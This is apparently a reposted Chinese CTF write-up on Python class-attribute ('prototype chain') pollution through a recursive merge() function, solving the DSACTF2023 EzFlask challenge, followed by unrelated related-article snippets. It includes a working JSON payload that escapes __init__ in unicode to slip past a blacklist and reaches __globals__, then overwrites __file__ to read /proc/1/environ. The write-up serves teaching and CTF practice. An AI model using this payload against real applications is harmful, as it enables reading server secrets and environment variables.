【CTF】Python原型链污染

Python原型链污染

原型链

在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

原型链污染

和JavaScript的原型链污染差不多,都是需要merge函数来修改父类的属性

class father:secret = "hello"
class son_a(father):pass
class son_b(father):pass
def merge(src, dst):for k, v in src.items():print(f"k:{k}\t v:{v}")if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
instance = son_b()
print(instance)
payload = {"__class__" : { "__base__" : { # 有继承关系,使用__base__找父类"secret" : "world"}}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
# k:__class__      v:{'__base__': {'secret': 'world'}}
# getattr(dst,k):  <class '__main__.son_b'>
# k:__base__       v:{'secret': 'world'}
# getattr(dst,k):  <class '__main__.father'>
# k:secret         v:world
print(son_a.secret)
#world
print(instance.secret)
#world

在这个例子中:

  1. 首先在payload中读入__class__,都是查看对象所在的类,在instance中是有__class__这个属性,因此进入elif hasattr(dst, k) and type(v) == dict:这个语句中,继续执行merge
  2. merge其中输入的dst从原本的instance变为son_b这个类,而后使用__base__查看son_b中是否有父类,并寻找这个父类,根据语句elif hasattr(dst, k) and type(v) == dict继续执行merge
  3. merge其中dst变为father这个类,type(v)是字符串,则执行setattr(dst, k, v),father中的secret属性设置为world
  4. 因为父类的secret值改变,son_a的secret属性也寻找到father这个父类中,值也变为world

在这个例子中创建的对象instance对应的son_b类是存在父类的,但很多时候是没有父类的,此时就可以利用python的一些属性来寻找对应变量

全局变量获取

在Python中,函数或类方法均具有一个__globals__属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回,这样就可以用__globals__来修改想要修改的全局变量值

DSACTF2023七月暑期赛–EzFlask

进入靶机看到给出了源码

import uuid 
from flask import Flask, request, session 
import jsonblack_list = ["__init__".encode(),"__globals__".encode()]app = Flask(__name__) 
app.secret_key = str(uuid.uuid4()) 
def check(data): for i in black_list:print(i)if i in data: print(i)return False return True def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class user(): def __init__(self): self.username = "" self.password = "" pass def check(self, data): if self.username == data['username'] and self.password == data['password']: return True return False Users = [] 
@app.route('/register',methods=['POST']) 
def register(): if request.data: try: print(request.data)print(json.loads(request.data))if not check(request.data):print("No check")return "Register Failed" data = json.loads(request.data)print(data)if "username" not in data or "password" not in data: print("no username or passwd")return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception as e: print("Exception: ",e)return "Register Failed"return "Register Success" else: print("no data")return "Register Failed" @app.route('/login',methods=['POST']) 
def login(): if request.data: try: print(request.data)print(json.loads(request.data))data = json.loads(request.data).encode()if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username"] = data["username"] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/',methods=['GET']) 
def index(): return open(__file__, "r").read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5010)

看到merge函数首先想到原型链污染,在index函数中是可以直接读取__file__对应的文件,因此想到利用merge函数去修改这个变量,将其变为我想看到的文件,可以看到register是创建了User对象,将data中的数值merge,那么就要在data中写上payload,在User类中重写了__init__类,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改,最后再重新进入index中读取文件内容,因此最终payload为

data = {"username" : "admin", "password" : "123456", # 在data中定义username和password保证data可以进入merge函数中"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过"__globals__" : {"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中}}
}

参考资料

  1. Python原型链污染变体(prototype-pollution-in-python)
  2. 深入理解 JavaScript Prototype 污染攻击
  3. Python原型链污染

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/24597.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络-三种交换方式

计算机网络-三种交换方式 电路交换(Circuit Switching) 电话交换机接通电话线的方式称为电路交换从通信资源分配的角度来看&#xff0c;交换(Switching)就是按照某种方式动态的分配传输线路的资源 电话交换机 为了解决电话之间通信两两之间连线过多&#xff0c;所以产生了电话…

认识 spring AOP (面向切面编程) - springboot

前言 本篇介绍什么是spring AOP, AOP的优点&#xff0c;使用场景&#xff0c;spring AOP的组成&#xff0c;简单实现AOP 并 了解它的通知&#xff1b;如有错误&#xff0c;请在评论区指正&#xff0c;让我们一起交流&#xff0c;共同进步&#xff01; 文章目录 前言1. 什么是s…

快速制作美容行业预约小程序

随着科技的不断进步&#xff0c;移动互联网的快速发展&#xff0c;小程序成为了很多行业迅速发展的利器。对于美容行业来说&#xff0c;一款美容预约小程序不仅可以方便用户进行预约&#xff0c;还可以提升美容店铺的服务质量和管理效率。下面&#xff0c;我们来介绍一下如何快…

K8S deployment 重启的三种方法

一般重启deployment&#xff0c;常规操作是删掉对应的pod, 但如果有多个副本集的话&#xff0c;一个个删很麻烦。 除了删除pod&#xff0c;还可以&#xff1a; 方案一&#xff1a; 加上环境变量 kubectl patch deploy <deployment-name> -p {"spec":{"…

【云原生K8s】初识Kubernetes的理论基础

K8S由google的Borg系统(博格系统&#xff0c;google内部使用的大规模容器编排工具)作为原型&#xff0c;后经GO语言延用Borg的思路重写并捐献给CNCF基金会开源。 云原生基金会&#xff08;CNCF&#xff09;于2015年12月成立&#xff0c;隶属于Linux基金会。CNCF孵化的第一个项目…

iOS——Block循环引用

Capturing ‘self’ strongly in this block is likely to lead to a retain cycle 典型的循环引用 self持有了blockblock持有了self(self.name) 这样就形成了self -> block -> self的循环引用 解决办法 强弱共舞 使用 中介者模式 __weak typeof(self) weakSelf sel…

认识MyBatis 之 MyBatis的动态SQL

前言 本篇介绍MyBatis里如何使用动态SQL&#xff0c;了解如何去简单使用动态标签&#xff1b;如有错误&#xff0c;请在评论区指正&#xff0c;让我们一起交流&#xff0c;共同进步&#xff01; 文章目录 前言MyBatis - 动态 SQLif标签trim标签where标签update set 标签delet…

F5 LTM 知识点和实验 10-基础配置

第十章 基础配置 VLAN VLAN是对物理网络进行逻辑分区的一种方式,可以创建不同的广播域。将具有共同要求的主机分组在一个VLAN中——不管它们的物理位置如何——提供了明显的优势,包括: 减小广播域的大小,从而提高网络的整体性能显著减少系统和网络维护任务(功能相关的主机…

【Spring Boot】(二)Spring Boot 配置文件的探索之旅

文章目录 前言一、配置文件的作用二、配置文件的格式2.1 Spring Boot 配置文件格式2.2 properties 和 yml 的区别 三、properties 配置文件3.1 properties 基本语法3.2 配置文件的读取3.3 properties 优缺点分析 四、yml 配置文件说明4.1 yml 基本语法4.2 yml 使用案例4.3 yml …

两数相加 LeetCode热题100

题目 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会…

el-table某一列嵌套使用el-popover,使用click触发,导致页面下拉框组件无法触发弹框关闭(解决办法)

在弹框触发的方法里加上document.body.click() 即可 尝试了很多其他的方法都没用&#xff0c;只有这个解决了 完整代码&#xff1a; <el-select change"sourceChange" clearable ><el-optionv-for"option in list1":key"option.code":…

【 SpringSecurity】第三方认证方法级别安全

文章目录 SpringSecurity 第三方认证实现方法级别的安全 SpringSecurity 第三方认证 在登录网页时&#xff0c;时常有用其他账号登录的方式&#xff0c;它们能够让用户避免在Web站点特定的登录页上自己输入凭证信息。这样的Web站点提供了一种通过其他网站&#xff08;如Facebo…

matlab使用教程(9)—matlab基本语句

1.条件控制 - if、else、switch 条件语句可用于在运行时选择要执行的代码块。最简单的条件语句为 if 语句。例如&#xff1a; % Generate a random number a randi(100, 1); % If it is even, divide by 2 if rem(a, 2) 0 disp(a is even) b a/2; end 通过使用可选关键字 …

fishing之第四篇使用案例一模拟登陆口

文章目录 一、访问钓鱼平台二、Sending Profiles(发件人邮箱配置)三、User&Groups(接收人邮件列表)四、Landing Pags(钓鱼页面配置)五、Email Templates(邮件内容配置)六、Campaigns七、攻击结果查看免责声明一、访问钓鱼平台 详细查看第二篇的gophish的搭建 二…

WebRTC 之音视频同步

在网络视频会议中&#xff0c; 我们常会遇到音视频不同步的问题&#xff0c; 我们有一个专有名词 lip-sync 唇同步来描述这类问题&#xff0c;当我们看到人的嘴唇动作与听到的声音对不上的时候&#xff0c;不同步的问题就出现了 而在线会议中&#xff0c; 听见清晰的声音是优先…

Java窗体应用程序人事管理系统web人资招聘员工劳资jsp源代码mysql

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 Java窗体应用程序人事管理系统 注意&#xff1a;此项…

Python 开发工具 Pycharm —— 使用技巧Lv.1

Basic code completion Ctrl空格 is available in the search field when you search for text in the current file CtrlF, so there is no need to type the entire string 基本代码完成Ctrl 空格可在搜索领域当你搜索文本在当前文件Ctrl F,所以没有必要整个字符串类型 To m…

迅为全国产龙芯3A5000电脑运行统信UOS、银河麒麟、loongnix系统

iTOP-3A5000开发板采用全国产龙芯3A5000处理器&#xff0c;基于龙芯自主指令系统 (LoongArch) 的LA464微结构&#xff0c;并进一步提升频率&#xff0c;降低功耗&#xff0c;优化性能。在与龙芯3A4000处理器保持引脚兼容的基础上&#xff0c;频率提升至2.5GHZ&#xff0c;功耗降…

自然语言处理学习笔记(三)————HanLP安装与使用

目录 1.HanLP安装 2.HanLP使用 &#xff08;1&#xff09;预下载 &#xff08;2&#xff09;测试 &#xff08;3&#xff09;命令行 &#xff08;4&#xff09;测试样例 3.pyhanlp可视化 4. HanLP词性表 1.HanLP安装 HanLP的 Python接口由 pyhanlp包提供&#xff0c;其安装…

STL容器适配器 -- priority_queue(使用+实现)(C++)

priority_queue priority_queue 简单介绍priority_queue 使用内置类型测试自定义类型测试 priority_queue 模拟实现仿函数&#xff08;less、greater&#xff09; priority_queue 简单介绍 优先级队列是一种容器适配器。类似于堆&#xff0c;可以随时插入元素&#xff0c;只能…